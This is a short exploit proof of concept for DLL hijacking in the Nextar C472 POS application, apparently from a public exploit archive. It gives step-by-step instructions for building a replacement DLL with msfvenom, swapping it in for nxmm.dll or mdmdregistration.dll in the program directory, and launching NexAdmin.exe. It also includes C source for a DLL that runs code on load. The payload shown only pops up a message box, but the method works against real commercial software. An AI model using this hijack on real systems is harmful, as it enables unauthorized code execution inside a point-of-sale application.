/* Description: A vulnerability exists in windows that allows other applications dynamic link libraries to execute malicious code without the users consent, in the privelage context of the targeted application. Exploit Title: Nextar C472 POS DLL Hijacking Exploit (nxmm.dll - mdmdregistration.dll) Date: 28/11/2021 Author: Yehia Elghaly Vendor: https://www.nextar.com/ Software: https://download.nextar.com/latest/setup_nex_en.exe Version: Latest Nextar C472 POS Tested on: Windows 7 Pro x86 - Windows 10 x64 Vulnerable extensions: .htm .html */ /* Instructions: 1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Nex POS Hacked - YME" -f dll > nxmm.dll) or compile the code 2. Replace nxmm.dll - mdmdregistration.dll or shcore.dll in Nex directory C:\Nex with your newly dll 3. Launch NexAdmin.exe 4. PoP UP MessageBox! */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "Nex POS Hacked!", "YME", MB_OK); }